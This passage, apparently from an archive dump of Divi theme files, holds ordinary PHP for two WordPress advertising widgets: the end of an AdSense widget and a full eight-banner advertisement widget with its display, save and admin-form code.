		$instance = wp_parse_args( (array) $instance, array( 'title' => esc_html__( 'Adsense', 'Divi' ), 'adsenseCode'=>'' ) );

		$title = $instance['title'];
		$adsenseCode = $instance['adsenseCode'];

		# Title
		echo '<p><label for="' . esc_attr( $this->get_field_id('title') ) . '">' . esc_html__( 'Title', 'Divi' ) . ':' . '</label><input class="widefat" id="' . esc_attr( $this->get_field_id('title') ) . '" name="' . esc_attr( $this->get_field_name('title') ) . '" type="text" value="' . esc_attr( $title ) . '" /></p>';
		# Adsense Code
		echo '<p><label for="' . esc_attr( $this->get_field_id('adsenseCode') ) . '">' . esc_html__( 'Adsense Code', 'Divi' ) . ':' . '</label><textarea cols="20" rows="12" class="widefat" id="' . esc_attr( $this->get_field_id('adsenseCode') ) . '" name="' . esc_attr( $this->get_field_name('adsenseCode') ) . '" >' . esc_textarea( $adsenseCode ) . '</textarea></p>';
	}

}// end AdsenseWidget class

function AdsenseWidgetInit() {
	register_widget('AdsenseWidget');
}

add_action('widgets_init', 'AdsenseWidgetInit');widget-ads.php000064400000057337152335734420007334 0ustar00<?php class AdvWidget extends WP_Widget
{
	function __construct(){
		$widget_ops = array( 'description' => esc_html__( 'Displays Advertisements', 'Divi' ) );
		$control_ops = array('width' => 400, 'height' => 500);
		parent::__construct( false, $name = esc_html__( 'ET Advertisement', 'Divi' ), $widget_ops, $control_ops );
	}

	/* Displays the Widget in the front-end */
	function widget($args, $instance){
		extract($args);
		$title = apply_filters( 'widget_title', empty( $instance['title'] ) ? esc_html__( 'Advertisement', 'Divi' ) : esc_html( $instance['title'] ) );
		$use_relpath = isset($instance['use_relpath']) ? $instance['use_relpath'] : false;
		$new_window = isset($instance['new_window']) ? $instance['new_window'] : false;
		$bannerPath[1] = empty($instance['bannerOnePath']) ? '' : $instance['bannerOnePath'];
		$bannerUrl[1] = empty($instance['bannerOneUrl']) ? '' : $instance['bannerOneUrl'];
		$bannerTitle[1] = empty($instance['bannerOneTitle']) ? '' : $instance['bannerOneTitle'];
		$bannerAlt[1] = empty($instance['bannerOneAlt']) ? '' : $instance['bannerOneAlt'];

		$bannerPath[2] = empty($instance['bannerTwoPath']) ? '' : $instance['bannerTwoPath'];
		$bannerUrl[2] = empty($instance['bannerTwoUrl']) ? '' : $instance['bannerTwoUrl'];
		$bannerTitle[2] = empty($instance['bannerTwoTitle']) ? '' : $instance['bannerTwoTitle'];
		$bannerAlt[2] = empty($instance['bannerTwoAlt']) ? '' : $instance['bannerTwoAlt'];

		$bannerPath[3] = empty($instance['bannerThreePath']) ? '' : $instance['bannerThreePath'];
		$bannerUrl[3] = empty($instance['bannerThreeUrl']) ? '' : $instance['bannerThreeUrl'];
		$bannerTitle[3] = empty($instance['bannerThreeTitle']) ? '' : $instance['bannerThreeTitle'];
		$bannerAlt[3] = empty($instance['bannerThreeAlt']) ? '' : $instance['bannerThreeAlt'];

		$bannerPath[4] = empty($instance['bannerFourPath']) ? '' : $instance['bannerFourPath'];
		$bannerUrl[4] = empty($instance['bannerFourUrl']) ? '' : $instance['bannerFourUrl'];
		$bannerTitle[4] = empty($instance['bannerFourTitle']) ? '' : $instance['bannerFourTitle'];
		$bannerAlt[4] = empty($instance['bannerFourAlt']) ? '' : $instance['bannerFourAlt'];

		$bannerPath[5] = empty($instance['bannerFivePath']) ? '' : $instance['bannerFivePath'];
		$bannerUrl[5] = empty($instance['bannerFiveUrl']) ? '' : $instance['bannerFiveUrl'];
		$bannerTitle[5] = empty($instance['bannerFiveTitle']) ? '' : $instance['bannerFiveTitle'];
		$bannerAlt[5] = empty($instance['bannerFiveAlt']) ? '' : $instance['bannerFiveAlt'];

		$bannerPath[6] = empty($instance['bannerSixPath']) ? '' : $instance['bannerSixPath'];
		$bannerUrl[6] = empty($instance['bannerSixUrl']) ? '' : $instance['bannerSixUrl'];
		$bannerTitle[6] = empty($instance['bannerSixTitle']) ? '' : $instance['bannerSixTitle'];
		$bannerAlt[6] = empty($instance['bannerSixAlt']) ? '' : $instance['bannerSixAlt'];

		$bannerPath[7] = empty($instance['bannerSevenPath']) ? '' : $instance['bannerSevenPath'];
		$bannerUrl[7] = empty($instance['bannerSevenUrl']) ? '' : $instance['bannerSevenUrl'];
		$bannerTitle[7] = empty($instance['bannerSevenTitle']) ? '' : $instance['bannerSevenTitle'];
		$bannerAlt[7] = empty($instance['bannerSevenAlt']) ? '' : $instance['bannerSevenAlt'];

		$bannerPath[8] = empty($instance['bannerEightPath']) ? '' : $instance['bannerEightPath'];
		$bannerUrl[8] = empty($instance['bannerEightUrl']) ? '' : $instance['bannerEightUrl'];
		$bannerTitle[8] = empty($instance['bannerEightTitle']) ? '' : $instance['bannerEightTitle'];
		$bannerAlt[8] = empty($instance['bannerEightAlt']) ? '' : $instance['bannerEightAlt'];

		echo et_core_intentionally_unescaped( $before_widget, 'html' );

		if ( $title ) {
			echo et_core_intentionally_unescaped( $before_title . $title . $after_title, 'html' );
		}
?>
<div class="adwrap">
<?php $i = 1;
while ($i <= 8):
if ($bannerPath[$i] !== '') { ?>
<?php
	if ($bannerTitle[$i] === '') {
		$bannerTitle[$i] = "advertisement";
	}

	if ($bannerAlt[$i] === '') {
		$bannerAlt[$i] = "advertisement";
	}
?>
	<a href="<?php echo esc_url( $bannerUrl[$i] ); ?>" <?php if ($new_window) echo('target="_blank"') ?>><img src="<?php if ( $use_relpath ) echo esc_url( home_url() ); else echo esc_attr( $bannerPath[$i] ); ?><?php if ( $use_relpath ) echo ("/" . esc_attr( $bannerPath[$i] ) ); ?>" alt="<?php echo esc_attr( $bannerAlt[$i] ); ?>" title="<?php echo esc_attr( $bannerTitle[$i] ); ?>" /></a>
<?php }; $i++;
endwhile; ?>
</div>
<?php
		echo et_core_intentionally_unescaped( $after_widget, 'html' );
	}

	/*Saves the settings. */
	function update($new_instance, $old_instance){
		$instance = $old_instance;
		$instance['title'] = stripslashes($new_instance['title']);
		$instance['use_relpath'] = 0;
		$instance['new_window'] = 0;
		if ( isset($new_instance['use_relpath']) ) $instance['use_relpath'] = 1;
		if ( isset($new_instance['new_window']) ) $instance['new_window'] = 1;
		$instance['bannerOnePath'] = esc_attr($new_instance['bannerOnePath']);
		$instance['bannerOneUrl'] = esc_url($new_instance['bannerOneUrl']);
		$instance['bannerOneTitle'] = esc_attr($new_instance['bannerOneTitle']);
		$instance['bannerOneAlt'] = esc_attr($new_instance['bannerOneAlt']);

		$instance['bannerTwoPath'] = esc_attr($new_instance['bannerTwoPath']);
		$instance['bannerTwoUrl'] = esc_url($new_instance['bannerTwoUrl']);
		$instance['bannerTwoTitle'] = esc_attr($new_instance['bannerTwoTitle']);
		$instance['bannerTwoAlt'] = esc_attr($new_instance['bannerTwoAlt']);

		$instance['bannerThreePath'] = esc_attr($new_instance['bannerThreePath']);
		$instance['bannerThreeUrl'] = esc_url($new_instance['bannerThreeUrl']);
		$instance['bannerThreeTitle'] = esc_attr($new_instance['bannerThreeTitle']);
		$instance['bannerThreeAlt'] = esc_attr($new_instance['bannerThreeAlt']);

		$instance['bannerFourPath'] = esc_attr($new_instance['bannerFourPath']);
		$instance['bannerFourUrl'] = esc_url($new_instance['bannerFourUrl']);
		$instance['bannerFourTitle'] = esc_attr($new_instance['bannerFourTitle']);
		$instance['bannerFourAlt'] = esc_attr($new_instance['bannerFourAlt']);

		$instance['bannerFivePath'] = esc_attr($new_instance['bannerFivePath']);
		$instance['bannerFiveUrl'] = esc_url($new_instance['bannerFiveUrl']);
		$instance['bannerFiveTitle'] = esc_attr($new_instance['bannerFiveTitle']);
		$instance['bannerFiveAlt'] = esc_attr($new_instance['bannerFiveAlt']);

		$instance['bannerSixPath'] = esc_attr($new_instance['bannerSixPath']);
		$instance['bannerSixUrl'] = esc_url($new_instance['bannerSixUrl']);
		$instance['bannerSixTitle'] = esc_attr($new_instance['bannerSixTitle']);
		$instance['bannerSixAlt'] = esc_attr($new_instance['bannerSixAlt']);

		$instance['bannerSevenPath'] = esc_attr($new_instance['bannerSevenPath']);
		$instance['bannerSevenUrl'] = esc_url($new_instance['bannerSevenUrl']);
		$instance['bannerSevenTitle'] = esc_attr($new_instance['bannerSevenTitle']);
		$instance['bannerSevenAlt'] = esc_attr($new_instance['bannerSevenAlt']);

		$instance['bannerEightPath'] = esc_attr($new_instance['bannerEightPath']);
		$instance['bannerEightUrl'] = esc_url($new_instance['bannerEightUrl']);
		$instance['bannerEightTitle'] = esc_attr($new_instance['bannerEightTitle']);
		$instance['bannerEightAlt'] = esc_attr($new_instance['bannerEightAlt']);

		return $instance;
	}

	/*Creates the form for the widget in the back-end. */
	function form($instance){
		//Defaults
		$instance = wp_parse_args( (array) $instance, array('title'=>__( 'Advertisement', 'Divi' ), 'use_relpath' => false, 'new_window' => true, 'bannerOnePath'=>'', 'bannerOneUrl'=>'', 'bannerOneTitle'=>'', 'bannerOneAlt'=>'', 'bannerTwoPath'=>'', 'bannerTwoUrl'=>'', 'bannerTwoTitle'=>'', 'bannerTwoAlt'=>'','bannerThreePath'=>'', 'bannerThreeUrl'=>'','bannerThreeTitle'=>'', 'bannerThreeAlt'=>'','bannerFourPath'=>'', 'bannerFourUrl'=>'','bannerFourTitle'=>'', 'bannerFourAlt'=>'','bannerFivePath'=>'', 'bannerFiveUrl'=>'','bannerFiveTitle'=>'', 'bannerFiveAlt'=>'','bannerSixPath'=>'', 'bannerSixUrl'=>'','bannerSixTitle'=>'','bannerSixAlt'=>'', 'bannerSevenPath'=>'', 'bannerSevenUrl'=>'','bannerSevenTitle'=>'','bannerSevenAlt'=>'','bannerEightPath'=>'', 'bannerEightUrl'=>'','bannerEightTitle'=>'','bannerEightAlt'=>'') );

		$title          = $instance['title'];
		$bannerPath[1]  = $instance['bannerOnePath'];
		$bannerUrl[1]   = $instance['bannerOneUrl'];
		$bannerTitle[1] = $instance['bannerOneTitle'];
		$bannerAlt[1]   = $instance['bannerOneAlt'];

		$bannerPath[2] = $instance['bannerTwoPath'];
		$bannerUrl[2] = $instance['bannerTwoUrl'];
		$bannerTitle[2] = $instance['bannerTwoTitle'];
		$bannerAlt[2] = $instance['bannerTwoAlt'];

		$bannerPath[3] = $instance['bannerThreePath'];
		$bannerUrl[3] = $instance['bannerThreeUrl'];
		$bannerTitle[3] = $instance['bannerThreeTitle'];
		$bannerAlt[3] = $instance['bannerThreeAlt'];

		$bannerPath[4] = $instance['bannerFourPath'];
		$bannerUrl[4] = $instance['bannerFourUrl'];
		$bannerTitle[4] = $instance['bannerFourTitle'];
		$bannerAlt[4] = $instance['bannerFourAlt'];

		$bannerPath[5] = $instance['bannerFivePath'];
		$bannerUrl[5] = $instance['bannerFiveUrl'];
		$bannerTitle[5] = $instance['bannerFiveTitle'];
		$bannerAlt[5] = $instance['bannerFiveAlt'];

		$bannerPath[6] = $instance['bannerSixPath'];
		$bannerUrl[6] = $instance['bannerSixUrl'];
		$bannerTitle[6] = $instance['bannerSixTitle'];
		$bannerAlt[6] = $instance['bannerSixAlt'];

		$bannerPath[7] = $instance['bannerSevenPath'];
		$bannerUrl[7] = $instance['bannerSevenUrl'];
		$bannerTitle[7] = $instance['bannerSevenTitle'];
		$bannerAlt[7] = $instance['bannerSevenAlt'];

		$bannerPath[8] = esc_attr($instance['bannerEightPath']);
		$bannerUrl[8] = esc_url($instance['bannerEightUrl']);
		$bannerTitle[8] = esc_attr($instance['bannerEightTitle']);
		$bannerAlt[8] = esc_attr($instance['bannerEightAlt']);

		# Title
		echo '<p><label for="' . esc_attr( $this->get_field_id('title') ) . '">' . esc_html__( 'Title', 'Divi' ) . ':' . '</label><input class="widefat" id="' . esc_attr( $this->get_field_id('title') ) . '" name="' . esc_attr( $this->get_field_name('title') ) . '" type="text" value="' . esc_html( $title ) . '" /></p>'; ?>

		<input class="checkbox" type="checkbox" <?php checked($instance['use_relpath'], true) ?> id="<?php echo esc_attr( $this->get_field_id('use_relpath') ); ?>" name="<?php echo esc_attr( $this->get_field_name('use_relpath') ); ?>" />
		<label for="<?php echo esc_attr( $this->get_field_id('use_relpath') ); ?>"><?php esc_html_e( 'Use Relative Image Paths', 'Divi' ); ?></label><br />
		<input class="checkbox" type="checkbox" <?php checked($instance['new_window'], true) ?> id="<?php echo esc_attr( $this->get_field_id('new_window') ); ?>" name="<?php echo esc_attr( $this->get_field_name('new_window') ); ?>" />
		<label for="<?php echo esc_attr( $this->get_field_id('new_window') ); ?>"><?php esc_html_e( 'Open in a new window', 'Divi' ); ?></label><br /><br />

		<?php	# Banner #1 Image
		echo '<p><label for="' . esc_attr( $this->get_field_id('bannerOnePath') ) . '">' . esc_html__( 'Banner', 'Divi' ) . ' #1 ' . esc_html__( 'Image', 'Divi' ) . ':' . '</label><input class="widefat" id="' . esc_attr( $this->get_field_id('bannerOnePath') ) . '" name="' . esc_attr( $this->get_field_name('bannerOnePath') ) . '" type="text" value="' . esc_attr( $bannerPath[1] ) . '" /></p>';
		# Banner #1 Url
		echo '<p><label for="' . esc_attr( $this->get_field_id('bannerOneUrl') ) . '">' . esc_html__( 'Banner', 'Divi' ) . ' #1 ' . esc_html__( 'Url', 'Divi' ) . ':' . '</label><input class="widefat" id="' . esc_attr( $this->get_field_id('bannerOneUrl') ) . '" name="' . esc_attr( $this->get_field_name('bannerOneUrl') ) . '" type="text" value="' . esc_url( $bannerUrl[1] ) . '" /></p>';
		# Banner #1 Title
		echo '<p><label for="' . esc_attr( $this->get_field_id('bannerOneTitle') ) . '">' . esc_html__( 'Banner', 'Divi' ) . ' #1 ' . esc_html__( 'Title', 'Divi' ) . ':' . '</label><input class="widefat" id="' . esc_attr( $this->get_field_id('bannerOneTitle') ) . '" name="' . esc_attr( $this->get_field_name('bannerOneTitle') ) . '" type="text" value="' . esc_attr( $bannerTitle[1] ) . '" /></p>';
		# Banner #1 Alt
		echo '<p><label for="' . esc_attr( $this->get_field_id('bannerOneAlt') ) . '">' . esc_html__( 'Banner', 'Divi' ) . ' #1 ' . esc_html__( 'Alt', 'Divi' ) . ':' . '</label><input class="widefat" id="' . esc_attr( $this->get_field_id('bannerOneAlt') ) . '" name="' . esc_attr( $this->get_field_name('bannerOneAlt') ) . '" type="text" value="' . esc_attr( $bannerAlt[1] ) . '" /></p>';
		# Banner #2 Image
		echo '<p><label for="' . esc_attr( $this->get_field_id('bannerTwoPath') ) . '">' . esc_html__( 'Banner', 'Divi' ) . ' #2 ' . esc_html__( 'Image', 'Divi' ) . ':' . '</label><input class="widefat" id="' . esc_attr( $this->get_field_id('bannerTwoPath') ) . '" name="' . esc_attr( $this->get_field_name('bannerTwoPath') ) . '" type="text" value="' . esc_attr( $bannerPath[2] ) . '" /></p>';
		# Banner #2 Url
		echo '<p><label for="' . esc_attr( $this->get_field_id('bannerTwoUrl') ) . '">' . esc_html__( 'Banner', 'Divi' ) . ' #2 ' . esc_html__( 'Url', 'Divi' ) . ':' . '</label><input class="widefat" id="' . esc_attr( $this->get_field_id('bannerTwoUrl') ) . '" name="' . esc_attr( $this->get_field_name('bannerTwoUrl') ) . '" type="text" value="' . esc_url( $bannerUrl[2] ) . '" /></p>';
		# Banner #2 Title
		echo '<p><label for="' . esc_attr( $this->get_field_id('bannerTwoTitle') ) . '">' . esc_html__( 'Banner', 'Divi' ) . ' #2 ' . esc_html__( 'Title', 'Divi' ) . ':' . '</label><input class="widefat" id="' . esc_attr( $this->get_field_id('bannerTwoTitle') ) . '" name="' . esc_attr( $this->get_field_name('bannerTwoTitle') ) . '" type="text" value="' . esc_attr( $bannerTitle[2] ) . '" /></p>';
		# Banner #2 Alt
		echo '<p><label for="' . esc_attr( $this->get_field_id('bannerTwoAlt') ) . '">' . esc_html__( 'Banner', 'Divi' ) . ' #2 ' . esc_html__( 'Alt', 'Divi' ) . ':' . '</label><input class="widefat" id="' . esc_attr( $this->get_field_id('bannerTwoAlt') ) . '" name="' . esc_attr( $this->get_field_name('bannerTwoAlt') ) . '" type="text" value="' . esc_attr( $bannerAlt[2] ) . '" /></p>';
		# Banner #3 Image
		echo '<p><label for="' . esc_attr( $this->get_field_id('bannerThreePath') ) . '">' . esc_html__( 'Banner', 'Divi' ) . ' #3 ' . esc_html__( 'Image', 'Divi' ) . ':' . '</label><input class="widefat" id="' . esc_attr( $this->get_field_id('bannerThreePath') ) . '" name="' . esc_attr( $this->get_field_name('bannerThreePath') ) . '" type="text" value="' . esc_attr( $bannerPath[3] ) . '" /></p>';
		# Banner #3 Url
		echo '<p><label for="' . esc_attr( $this->get_field_id('bannerThreeUrl') ) . '">' . esc_html__( 'Banner', 'Divi' ) . ' #3 ' . esc_html__( 'Url', 'Divi' ) . ':' . '</label><input class="widefat" id="' . esc_attr( $this->get_field_id('bannerThreeUrl') ) . '" name="' . esc_attr( $this->get_field_name('bannerThreeUrl') ) . '" type="text" value="' . esc_url( $bannerUrl[3] ) . '" /></p>';
		# Banner #3 Title
		echo '<p><label for="' . esc_attr( $this->get_field_id('bannerThreeTitle') ) . '">' . esc_html__( 'Banner', 'Divi' ) . ' #3 ' . esc_html__( 'Title', 'Divi' ) . ':' . '</label><input class="widefat" id="' . esc_attr( $this->get_field_id('bannerThreeTitle') ) . '" name="' . esc_attr( $this->get_field_name('bannerThreeTitle') ) . '" type="text" value="' . esc_attr( $bannerTitle[3] ) . '" /></p>';
		# Banner #3 Alt
		echo '<p><label for="' . esc_attr( $this->get_field_id('bannerThreeAlt') ) . '">' . esc_html__( 'Banner', 'Divi' ) . ' #3 ' . esc_html__( 'Alt', 'Divi' ) . ':' . '</label><input class="widefat" id="' . esc_attr( $this->get_field_id('bannerThreeAlt') ) . '" name="' . esc_attr( $this->get_field_name('bannerThreeAlt') ) . '" type="text" value="' . esc_attr( $bannerAlt[3] ) . '" /></p>';
		# Banner #4 Image
		echo '<p><label for="' . esc_attr( $this->get_field_id('bannerFourPath') ) . '">' . esc_html__( 'Banner', 'Divi' ) . ' #4 ' . esc_html__( 'Image', 'Divi' ) . ':' . '</label><input class="widefat" id="' . esc_attr( $this->get_field_id('bannerFourPath') ) . '" name="' . esc_attr( $this->get_field_name('bannerFourPath') ) . '" type="text" value="' . esc_attr( $bannerPath[4] ) . '" /></p>';
		# Banner #4 Url
		echo '<p><label for="' . esc_attr( $this->get_field_id('bannerFourUrl') ) . '">' . esc_html__( 'Banner', 'Divi' ) . ' #4 ' . esc_html__( 'Url', 'Divi' ) . ':' . '</label><input class="widefat" id="' . esc_attr( $this->get_field_id('bannerFourUrl') ) . '" name="' . esc_attr( $this->get_field_name('bannerFourUrl') ) . '" type="text" value="' . esc_url( $bannerUrl[4] ) . '" /></p>';
		# Banner #4 Title
		echo '<p><label for="' . esc_attr( $this->get_field_id('bannerFourTitle') ) . '">' . esc_html__( 'Banner', 'Divi' ) . ' #4 ' . esc_html__( 'Title', 'Divi' ) . ':' . '</label><input class="widefat" id="' . esc_attr( $this->get_field_id('bannerFourTitle') ) . '" name="' . esc_attr( $this->get_field_name('bannerFourTitle') ) . '" type="text" value="' . esc_attr( $bannerTitle[4] ) . '" /></p>';
		# Banner #4 Alt
		echo '<p><label for="' . esc_attr( $this->get_field_id('bannerFourAlt') ) . '">' . esc_html__( 'Banner', 'Divi' ) . ' #4 ' . esc_html__( 'Alt', 'Divi' ) . ':' . '</label><input class="widefat" id="' . esc_attr( $this->get_field_id('bannerFourAlt') ) . '" name="' . esc_attr( $this->get_field_name('bannerFourAlt') ) . '" type="text" value="' . esc_attr( $bannerAlt[4] ) . '" /></p>';
		# Banner #5 Image
		echo '<p><label for="' . esc_attr( $this->get_field_id('bannerFivePath') ) . '">' . esc_html__( 'Banner', 'Divi' ) . ' #5 ' . esc_html__( 'Image', 'Divi' ) . ':' . '</label><input class="widefat" id="' . esc_attr( $this->get_field_id('bannerFivePath') ) . '" name="' . esc_attr( $this->get_field_name('bannerFivePath') ) . '" type="text" value="' . esc_attr( $bannerPath[5] ) . '" /></p>';
		# Banner #5 Url
		echo '<p><label for="' . esc_attr( $this->get_field_id('bannerFiveUrl') ) . '">' . esc_html__( 'Banner', 'Divi' ) . ' #5 ' . esc_html__( 'Url', 'Divi' ) . ':' . '</label><input class="widefat" id="' . esc_attr( $this->get_field_id('bannerFiveUrl') ) . '" name="' . esc_attr( $this->get_field_name('bannerFiveUrl') ) . '" type="text" value="' . esc_url( $bannerUrl[5] ) . '" /></p>';
		# Banner #5 Title
		echo '<p><label for="' . esc_attr( $this->get_field_id('bannerFiveTitle') ) . '">' . esc_html__( 'Banner', 'Divi' ) . ' #5 ' . esc_html__( 'Title', 'Divi' ) . ':' . '</label><input class="widefat" id="' . esc_attr( $this->get_field_id('bannerFiveTitle') ) . '" name="' . esc_attr( $this->get_field_name('bannerFiveTitle') ) . '" type="text" value="' . esc_attr( $bannerTitle[5] ) . '" /></p>';
		# Banner #5 Alt
		echo '<p><label for="' . esc_attr( $this->get_field_id('bannerFiveAlt') ) . '">' . esc_html__( 'Banner', 'Divi' ) . ' #5 ' . esc_html__( 'Alt', 'Divi' ) . ':' . '</label><input class="widefat" id="' . esc_attr( $this->get_field_id('bannerFiveAlt') ) . '" name="' . esc_attr( $this->get_field_name('bannerFiveAlt') ) . '" type="text" value="' . esc_attr( $bannerAlt[5] ) . '" /></p>';
		# Banner #6 Image
		echo '<p><label for="' . esc_attr( $this->get_field_id('bannerSixPath') ) . '">' . esc_html__( 'Banner', 'Divi' ) . ' #6 ' . esc_html__( 'Image', 'Divi' ) . ':' . '</label><input class="widefat" id="' . esc_attr( $this->get_field_id('bannerSixPath') ) . '" name="' . esc_attr( $this->get_field_name('bannerSixPath') ) . '" type="text" value="' . esc_attr( $bannerPath[6] ) . '" /></p>';
		# Banner #6 Url
		echo '<p><label for="' . esc_attr( $this->get_field_id('bannerSixUrl') ) . '">' . esc_html__( 'Banner', 'Divi' ) . ' #6 ' . esc_html__( 'Url', 'Divi' ) . ':' . '</label><input class="widefat" id="' . esc_attr( $this->get_field_id('bannerSixUrl') ) . '" name="' . esc_attr( $this->get_field_name('bannerSixUrl') ) . '" type="text" value="' . esc_url( $bannerUrl[6] ) . '" /></p>';
		# Banner #6 Title
		echo '<p><label for="' . esc_attr( $this->get_field_id('bannerSixTitle') ) . '">' . esc_html__( 'Banner', 'Divi' ) . ' #6 ' . esc_html__( 'Title', 'Divi' ) . ':' . '</label><input class="widefat" id="' . esc_attr( $this->get_field_id('bannerSixTitle') ) . '" name="' . esc_attr( $this->get_field_name('bannerSixTitle') ) . '" type="text" value="' . esc_attr( $bannerTitle[6] ) . '" /></p>';
		# Banner #6 Alt
		echo '<p><label for="' . esc_attr( $this->get_field_id('bannerSixAlt') ) . '">' . esc_html__( 'Banner', 'Divi' ) . ' #6 ' . esc_html__( 'Alt', 'Divi' ) . ':' . '</label><input class="widefat" id="' . esc_attr( $this->get_field_id('bannerSixAlt') ) . '" name="' . esc_attr( $this->get_field_name('bannerSixAlt') ) . '" type="text" value="' . esc_attr( $bannerAlt[6] ) . '" /></p>';
		# Banner #7 Image
		echo '<p><label for="' . esc_attr( $this->get_field_id('bannerSevenPath') ) . '">' . esc_html__( 'Banner', 'Divi' ) . ' #7 ' . esc_html__( 'Image', 'Divi' ) . ':' . '</label><input class="widefat" id="' . esc_attr( $this->get_field_id('bannerSevenPath') ) . '" name="' . esc_attr( $this->get_field_name('bannerSevenPath') ) . '" type="text" value="' . esc_attr( $bannerPath[7] ) . '" /></p>';
		# Banner #7 Url
		echo '<p><label for="' . esc_attr( $this->get_field_id('bannerSevenUrl') ) . '">' . esc_html__( 'Banner', 'Divi' ) . ' #7 ' . esc_html__( 'Url', 'Divi' ) . ':' . '</label><input class="widefat" id="' . esc_attr( $this->get_field_id('bannerSevenUrl') ) . '" name="' . esc_attr( $this->get_field_name('bannerSevenUrl') ) . '" type="text" value="' . esc_url( $bannerUrl[7] ) . '" /></p>';
		# Banner #7 Title
		echo '<p><label for="' . esc_attr( $this->get_field_id('bannerSevenTitle') ) . '">' . esc_html__( 'Banner', 'Divi' ) . ' #7 ' . esc_html__( 'Title', 'Divi' ) . ':' . '</label><input class="widefat" id="' . esc_attr( $this->get_field_id('bannerSevenTitle') ) . '" name="' . esc_attr( $this->get_field_name('bannerSevenTitle') ) . '" type="text" value="' . esc_attr( $bannerTitle[7] ) . '" /></p>';
		# Banner #7 Alt
		echo '<p><label for="' . esc_attr( $this->get_field_id('bannerSevenAlt') ) . '">' . esc_html__( 'Banner', 'Divi' ) . ' #7 ' . esc_html__( 'Alt', 'Divi' ) . ':' . '</label><input class="widefat" id="' . esc_attr( $this->get_field_id('bannerSevenAlt') ) . '" name="' . esc_attr( $this->get_field_name('bannerSevenAlt') ) . '" type="text" value="' . esc_attr( $bannerAlt[7] ) . '" /></p>';
		# Banner #8 Image
		echo '<p><label for="' . esc_attr( $this->get_field_id('bannerEightPath') ) . '">' . esc_html__( 'Banner', 'Divi' ) . ' #8 ' . esc_html__( 'Image', 'Divi' ) . ':' . '</label><input class="widefat" id="' . esc_attr( $this->get_field_id('bannerEightPath') ) . '" name="' . esc_attr( $this->get_field_name('bannerEightPath') ) . '" type="text" value="' . esc_attr( $bannerPath[8] ) . '" /></p>';
		# Banner #8 Url
		echo '<p><label for="' . esc_attr( $this->get_field_id('bannerEightUrl') ) . '">' . esc_html__( 'Banner', 'Divi' ) . ' #8 ' . esc_html__( 'Url', 'Divi' ) . ':' . '</label><input class="widefat" id="' . esc_attr( $this->get_field_id('bannerEightUrl') ) . '" name="' . esc_attr( $this->get_field_name('bannerEightUrl') ) . '" type="text" value="' . esc_url( $bannerUrl[8] ) . '" /></p>';
		# Banner #8 Title
		echo '<p><label for="' . esc_attr( $this->get_field_id('bannerEightTitle') ) . '">' . esc_html__( 'Banner', 'Divi' ) . ' #8 ' . esc_html__( 'Title', 'Divi' ) . ':' . '</label><input class="widefat" id="' . esc_attr( $this->get_field_id('bannerEightTitle') ) . '" name="' . esc_attr( $this->get_field_name('bannerEightTitle') ) . '" type="text" value="' . esc_attr( $bannerTitle[8] ) . '" /></p>';
		# Banner #8 Alt
		echo '<p><label for="' . esc_attr( $this->get_field_id('bannerEightAlt') ) . '">' . esc_html__( 'Banner', 'Divi' ) . ' #8 ' . esc_html__( 'Alt', 'Divi' ) . ':' . '</label><input class="widefat" id="' . esc_attr( $this->get_field_id('bannerEightAlt') ) . '" name="' . esc_attr( $this->get_field_name('bannerEightAlt') ) . '" type="text" value="' . esc_attr( $bannerAlt[8] ) . '" /></p>';
		echo '<p><small>' . esc_html__( "If you don't want to display some banners - leave approptiate fields blank", 'Divi' ) . '.</small></p>';
	}

}// end AdvWidget class

function AdvWidgetInit() {
	register_widget('AdvWidget');
}

add_action('widgets_init', 'AdvWidgetInit');